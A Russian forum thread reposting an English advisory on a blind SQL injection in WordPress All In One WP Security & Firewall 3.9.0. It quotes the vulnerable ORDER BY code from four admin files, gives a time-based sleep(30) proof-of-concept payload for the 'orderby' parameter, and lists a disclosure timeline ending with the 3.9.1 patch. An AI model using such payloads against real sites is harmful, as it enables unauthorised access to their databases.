1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

WordPress All In One WP Security & Firewall 3.9.0 SQL Injection Vulnerability

Тема в разделе "Наши статьи", создана пользователем cristodulo, 7 апр 2015.

  1. TopicStarter Overlay
    cristodulo

    cristodulo

    Регистрация:
    19 мар 2015
    Сообщения:
    17
    Симпатии:
    14
    ######################

    # Exploit Title : WordPress All In One WP Security & Firewall 3.9.0 SQL Injection Vulnerability

    # Exploit Author : Claudio Viviani

    # Vendor Homepage : Please login or register to view links

    # Software Link : Please login or register to view links

    # Date : 2015-04-05

    # Tested on : Linux / Mozilla Firefox

    ######################

    # Description

    WordPress All In One WP Security & Firewall 3.9.0 suffers from Blind SQL Injection vulnerability

    There are some pages with wordpress esc_sql function.
    esc_sql is prone to Blind SQL Injection (discovered by Ryan Dewhurst - Please login or register to view links)

    isset($_GET["orderby"]) ? $orderby = strip_tags($_GET["orderby"]): $orderby = '';
    isset($_GET["order"]) ? $order = strip_tags($_GET["order"]): $order = '';

    - admin/wp-security-list-404.php

    $orderby = !empty($orderby) ? esc_sql($orderby) : 'id';
    $order = !empty($order) ? esc_sql($order) : 'DESC';
    ...
    ...
    $data = $wpdb->get_results("SELECT * FROM $events_table_name ORDER BY $orderby $order", ARRAY_A);


    - admin/wp-security-list-login-fails.php

    $orderby = !empty($orderby) ? esc_sql($orderby) : 'failed_login_date';
    $order = !empty($order) ? esc_sql($order) : 'DESC';

    $data = $wpdb->get_results("SELECT * FROM $failed_logins_table_name ORDER BY $orderby $order", ARRAY_A);


    - admin/wp-security-list-acct-activity-php

    $orderby = !empty($orderby) ? esc_sql($orderby) : 'login_date';
    $order = !empty($order) ? esc_sql($order) : 'DESC';

    $data = $wpdb->get_results("SELECT * FROM $login_activity_table ORDER BY $orderby $order LIMIT 50", ARRAY_A)


    - admin/wp-security-list-locked-ip.php

    $orderby = !empty($orderby) ? esc_sql($orderby) : 'failed_login_date';
    $order = !empty($order) ? esc_sql($order) : 'DESC';

    $data = $wpdb->get_results("SELECT * FROM $lockdown_table_name WHERE release_date > now() ORDER BY $orderby $order", ARRAY_A)

    ######################

    # PoC

    Please login or register to view links * from (select(sleep(30)))a)&order=asc


    ######################

    # Vulnerability Disclosure Timeline:

    2015-04-05: Discovered vulnerability
    2015-04-06: Vendor Notification
    2015-04-06: Vendor Response/Feedback
    2015-04-07: Vendor Send Fix/Patch (3.9.1)
    2015-04-07: Public Disclosure

    #######################

    Discovered By : Claudio Viviani
    Please login or register to view links
    Please login or register to view links (Free Fuzzy Hashes Database)

    info@homelab.it
    homelabit@protonmail.ch

    Please login or register to view links
    Please login or register to view links
    Please login or register to view links
    Please login or register to view links

    #####################
     
    • Like Like x 1
    Метки:
  2. vasenka444

    vasenka444

    Регистрация:
    19 апр 2014
    Сообщения:
    299
    Симпатии:
    202
    ctrl+c ctrl+v хотя бы перевод или хоть чуть чуть объяснил бы
     

Поделиться этой страницей

Загрузка...